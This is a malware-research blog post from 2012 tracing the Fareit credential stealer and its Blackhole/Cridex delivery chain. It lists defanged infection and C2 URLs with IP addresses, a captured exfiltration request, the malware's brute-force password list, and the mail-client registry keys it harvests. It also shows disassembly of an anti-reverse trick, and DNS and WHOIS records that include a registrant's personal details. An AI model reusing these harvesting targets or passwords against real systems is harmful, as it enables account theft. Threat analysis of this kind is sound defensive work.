Saturday, December 22, 2012

The Crime Still Goes On: Trojan Fareit Credential Stealer - New Server, Same Group, Same Game (via BHEK/Cridex) 

As per posted A WEEK AGO here -->>[Prev.Post] that Crime Group STILL infects victims.
The infector concepts and binary works is exactly the same as previous,


Infection Source Summary & Trojan Communication Info

Spam infector:

URL: h00p://www.irwra.com/wp-content/themes/mantra/uploads/cpa_inform.htm
Server: Apache, WordPress 
IP: 50.116.98.44

Blackhole:

Landing: h00p://latticesoft.net/detects/continues-little.php
Server:  nginx/1.3.3
         Date: Fri, 21 Dec 2012 18:44:29 GMT
         Content-Type: text/html
         X-Powered-By: PHP/5.3.14
IP:      59.57.247.185

Trojan Cridex (payload) download url:
Trojan Fareit Download Source:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
h00p://94.73.129.120:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://188.120.226.30:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://188.40.109.204:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://204.15.30.202:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://59.90.221.6:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://69.64.89.82:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1 
h00p://78.28.120.32:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1 
h00p://74.117.107.25:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://174.142.68.239:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://23.29.73.220:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://81.93.250.157:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://188.212.156.170:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://173.203.102.204:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
h00p://84.22.100.108:8080/N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ POST HTTP/1.1
*) With all Proxy's Port/Server: 8080 / nginx/1.0.10
Trojan Fareit Stealer Download PoC is as example below:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)
Host: 94.73.129.120:8080
Content-Length: 347
Connection: Keep-Alive
Cache-Control: no-cache
...?f/.....0N}a.9.Je...U;0..
  :
HTTP/1.1 200 OK
Server: nginx/1.0.10
Date: Sat, 22 Dec 2012 08:29:43 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.18-1~dotdeb.0
Vary: Accept-Encoding
Trojan Fareit Callbacks IP:
CNC is 62.76.177.51, PoC:
CnC Passwords(reversed from Trojan Fareit):

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
phpbb      john316      pass        slayer     
qwerty     richard      aaaaaa      wisdom     
jesus      blink182     amanda      praise     
abc123     peaches      nothing     zxcvbnm    
letmein    cool         ginger      samuel     
test       flower       mother      mike       
love       scooter      snoopy      dallas     
password1  banana       jessica     green      
hello      james        welcome     testtest   
monkey     asdfasdf     pokemon     maverick   
dragon     victory      iloveyou1   onelove    
trustno1   london       mustang     david      
iloveyou   123qwe       helpme      mylove     
shadow     startrek     justin      church     
christ     george       jasmine     friend     
sunshine   winner       orange      god        
master     maggie       testing     destiny    
computer   trinity      apple       none       
princess   online       michelle    microsoft  
tigger     123abc       peace       bubbles    
football   chicken      secret      cocacola   
angel      junior       grace       jordan23   
jesus1     chris        william     ilovegod   
whatever   passw0rd     iloveyou2   football1  
freedom    austin       nicole      loving     
killer     sparky       muffin      nathan     
asdf       admin        gateway     emmanuel   
soccer     merlin       fuckyou1    scooby     
superman   google       asshole     fuckoff    
michael    friends      hahaha      sammy      
cheese     hope         poop        maxwell    
internet   shalom       blessing    jason      
joshua     nintendo     blahblah    john       
fuckyou    looking      myspace1    1q2w3e4r   
blessed    harley       matthew     baby       
baseball   smokey       canada      red123     
starwars   joseph       silver      blabla     
purple     lucky        robert      prince     
jordan     digital      forever     qwert      
faith      thunder      asdfgh      chelsea    
summer     spirit       rachel      angel1     
ashley     bandit       rainbow     hardcore   
buster     enter        guitar      dexter     
heaven     anthony      peanut      saved      
pepper     corvette     batman      hallo      
hunter     hockey       cookie      jasper     
lovely     power        bailey      danielle   
andrew     benjamin     soccer1     kitten     
thomas     iloveyou!    mickey      cassie     
angels     1q2w3e       biteme      stella     
charlie    viper        hello1      prayer     
daniel     genesis      eminem      hotdog     
jennifer   knight       dakota      windows    
single     qwerty1      samantha    mustdie    
hannah     creative     compaq      gates      
qazwsx     foobar       diamond     billgates  
happy      adidas       taylor      ghbdtn     
matrix     rotimi       forum       gfhjkm   hgTYDOMium


Analysis Summary & Research Materials

This time I dump every memory of Trojan Fareit in txt here-->>[PASTEBIN]
↑So you can see which FTP, File, POP/SMTP Credentials data's licked & grabbed -
as evidence of this evil stealer crime.
Additionally see the Fareit Trojan's config here -->>[PASTEBIN]
↑You can confirm targeted online banks info + phishing html codes these actors used.

There is slight BHEK changes in PluginDetect Obfuscated Code (Landing Page),
I cracked manually with wrote GUIDANCE to decode here -->>[PASTEBIN]
PluginDetect before -->>[PASTEBIN] & after decoded-->>[PASTEBIN]

Payload binary static & dynamic analysis text(a quicky) -->>[PASTEBIN]
Sample download is here -->>[MEDIAFIRE]
Captures data is here (PCAP, RegShot, MEMShot, etc)-->>[MEDIAFIRE]


Account Phishing Act by current version Trojan

Hello Citi Account Online!


Same as previous: Chase Bank!


This time BANK OF AMERICA!!!



PoC of all possible Email Credentials Also Grabbed
In the previous case, I have strong request 
to check not only http/ftp/server login, but E-Mail credential.
Here we go:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
POP3_Password2
SMTP_Password2
IMAP_Password2
HTTPMail_Password2
\Microsoft\Windows Live Mail
Software\Microsoft\Windows Live Mail
\Microsoft\Windows Mail
Software\Microsoft\Windows Mail
Software\RimArts\B2\Settings
DataDir
DataDirBak
Mailbox.ini
Software\Poco Systems Inc
Path
\PocoSystem.ini
Program
DataPath
accounts.ini
\Pocomail
Software\IncrediMail
EmailAddress
Technology
PopServer
PopPort
PopAccount
PopPassword
SmtpServer
SmtpPort
SmtpAccount
SmtpPassword
account.cfg
account.cfn
\BatMail
\The Bat!
Software\RIT\The Bat!
Software\RIT\The Bat!\Users depot
Working Directory
ProgramDir
Count
Default
Dir #%d
SMTP Email Address
SMTP Server
POP3 Server
POP3 User Name
SMTP User Name
NNTP Email Address
NNTP User Name
NNTP Server
IMAP Server
IMAP User Name
Email
HTTP User
HTTP Server URL
POP3 User
IMAP User
HTTPMail User Name
HTTPMail Server
SMTP User
POP3 Port
SMTP Port
IMAP Port
POP3 Password2
IMAP Password2
NNTP Password2
HTTPMail Password2
SMTP Password2
POP3 Password
IMAP Password
NNTP Password
HTTP Password
SMTP Password
Software\Microsoft\Internet Account Manager\Accounts
Identities
Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Software\Microsoft\Internet Account Manager
Outlook
\Accounts
identification
identitymgr
inetcomm server passwords
outlook account manager passwords identities


Virus Total Detection Ratio

Landing Page: (3/45) ---->>[VirusTotal]
Trojan Cridex Downloader: (15/44) ---->>[VirusTotal]
Trojan  Fareit Credential Stealer: (4/45) ---->>[VirusTotal]


PoC / Analysis ScreenShots

Malware processes:

Payload after self copied(dropped) into %AppData%\

Network HTTP Traffic captured:


Need to fix the binary before reversing properly...


?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//Very annoying anti-reverse....
   :         :                           :
0x00003cf2 (01) 47                     INC EDI
0x00003cf3 (01) 5c                     POP ESP
0x00003cf4 (05) a9 2835b437            TEST EAX, 0x37b43528
0x00003cf9 (03) 0ff2f8                 PSLLD MM7, MM0
0x00003cfc (01) 4b                     DEC EBX
0x00003cfd (01) 95                     XCHG EBP, EAX
0x00003cfe (02) b2 f9                  MOV DL, 0xf9
0x00003d00 (01) ef                     OUT DX, EAX
0x00003d01 (01) 51                     PUSH ECX
0x00003d02 (01) ac                     LODSB
0x00003d03 (01) 46                     INC ESI
0x00003d04 (02) 71 77                  JNO 0x00003d7d   ; 1
0x00003d04 --------------------------------------------------
0x00003d06 (02) 72 71                  JB 0x00003d79    ; 2
0x00003d06 --------------------------------------------------
0x00003d08 (02) 77 72                  JA 0x00003d7c    ; 3
0x00003d08 --------------------------------------------------
0x00003d0a (02) 71 77                  JNO 0x00003d83   ; 4
0x00003d0a --------------------------------------------------
0x00003d0c (02) 72 71                  JB 0x00003d7f    ; 5
  :          :    :                     :    :     :
3CE8   50 44 44 33 D7 24 91 FF 62 27 47 5C A9 28 35 B4    PDD3.$..b'G..(5.
3CF8   37 0F F2 F8 4B 95 B2 F9 EF 51 AC 46 71 77 72 71    7...K....Q.Fqwrq
3D08   77 72 71 77 72 71 77 72 71 77 72 71 77 72 71 77    wrqwrqwrqwrqwrqw // This qwrqwr :-(((
3D18   72 71 77 72 71 77 72 71 77 72 71 77 72 71 77 72    rqwrqwrqwrqwrqwr
3D28   71 77 72 71 77 72 71 77 72 71 77 72 71 77 72 71    qwrqwrqwrqwrqwrq
3D38   77 72 71 77 72 71 77 72 71 77 72 71 77 72 71 77    wrqwrqwrqwrqwrqw
3D48   72 71 77 72 71 77 72 71 77 72 71 77 72 71 77 72    rqwrqwrqwrqwrqwr
3D58   71 77 72 71 77 72 71 77 72 71 77 72 71 77 72 71    qwrqwrqwrqwrqwrq
  :                             :                            :


PoC of the same group as previous case
Seriously, it uses the same NS server registered by same person..

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// latticesoft.net < dns search  
 
;; QUESTION SECTION:
;latticesoft.net.               IN      ANY
 
;; ANSWER SECTION:
latticesoft.net.        900     IN      A       59.57.247.185
latticesoft.net.        900     IN      SOA     ns1.amishshoppe.net. . 1356192301 60 120 1048576 900
latticesoft.net.        900     IN      NS      ns2.amishshoppe.net.
latticesoft.net.        900     IN      NS      ns1.amishshoppe.net.
 
;; AUTHORITY SECTION:
latticesoft.net.        900     IN      NS      ns2.amishshoppe.net.
latticesoft.net.        900     IN      NS      ns1.amishshoppe.net.
 
;; ADDITIONAL SECTION:
ns1.amishshoppe.net.    3600    IN      A       209.140.18.37
ns2.amishshoppe.net.    3600    IN      A       211.27.42.138
 
//PoC that currently infector domain is in service:
a.root-servers.net. (198.41.0.4)
 |\___ i.gtld-servers.net [net] (192.43.172.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) Got authoritative answer
 |\___ l.gtld-servers.net [net] (192.41.162.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ m.gtld-servers.net [net] (192.55.83.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ k.gtld-servers.net [net] (192.52.178.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ h.gtld-servers.net [net] (192.54.112.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ b.gtld-servers.net [net] (2001:0503:231d:0000:0000:0000:0002:0030) Not queried
 |\___ b.gtld-servers.net [net] (192.33.14.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ e.gtld-servers.net [net] (192.12.94.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ j.gtld-servers.net [net] (192.48.79.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ a.gtld-servers.net [net] (2001:0503:a83e:0000:0000:0000:0002:0030) Not queried
 |\___ a.gtld-servers.net [net] (192.5.6.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ g.gtld-servers.net [net] (192.42.93.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ f.gtld-servers.net [net] (192.35.51.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 |\___ c.gtld-servers.net [net] (192.26.92.30)
 |     |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
 |      \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
  \___ d.gtld-servers.net [net] (192.31.80.30)
       |\___ ns2.amishshoppe.net [latticesoft.net] (211.27.42.138) *
        \___ ns1.amishshoppe.net [latticesoft.net] (209.140.18.37) (cached)
 
//Historical/pDNS related IP-Domain Info:
eaglepointecondo.org  A  59.57.247.185
latticesoft.net       A  59.57.247.185
eaglepointecondo.biz  A  59.57.247.185
sessionid0147239047829578349578239077.pl A  59.57.247.185
 
// Check AXFR (see whether anyone can changed records w/2ndary DNS)
]$ nslookup
> set type=axfr
> amishshoppe.net
; Transfer failed.
Server:         8.8.8.8
Address:        8.8.8.8#53
 
// WHOIS Database of DNS Service Domain....
 
Domain Name: AMISHSHOPPE.NET
Registrar: REGISTER.COM, INC.
Whois Server: whois.register.com
Referral URL: http://www.register.com
Name Server: NS1.AMISHSHOPPE.NET
Name Server: NS2.AMISHSHOPPE.NET
Status: clientTransferProhibited
Updated Date: 15-nov-2012
Creation Date: 15-nov-2012
Expiration Date: 15-nov-2013
 
// Registrant Database Checks...
Registrant:
 
   Steve Burandt
   0n430 Peter Rd
   Winfield, IL 60190
   US
   Phone: +1.6304626711
   Email: solaradvent@yahoo.com
 
Registrar Name....: Register.com
Registrar Whois...: whois.register.com
Registrar Homepage: www.register.com
 
Domain Name: amishshoppe.net
   Created on..............: 2012-11-15
   Expires on..............: 2013-11-15
 
Administrative Contact:
   Steve Burandt
   0n430 Peter Rd
   Winfield, IL 60190
   US
   Phone: +1.6304626711
   Email: solaradvent@yahoo.com
 
Technical  Contact:
   Registercom
   Domain Registrar
   12808 Gran Bay Pkwy
   West Jacksonville, FL 32258
   US
   Phone: +1.9027492701
   Email: domainregistrar@register.com
 
DNS Servers:
   ns2.amishshoppe.net
   ns1.amishshoppe.net

#MalwareMustDie

Posted by unixfreaxjp at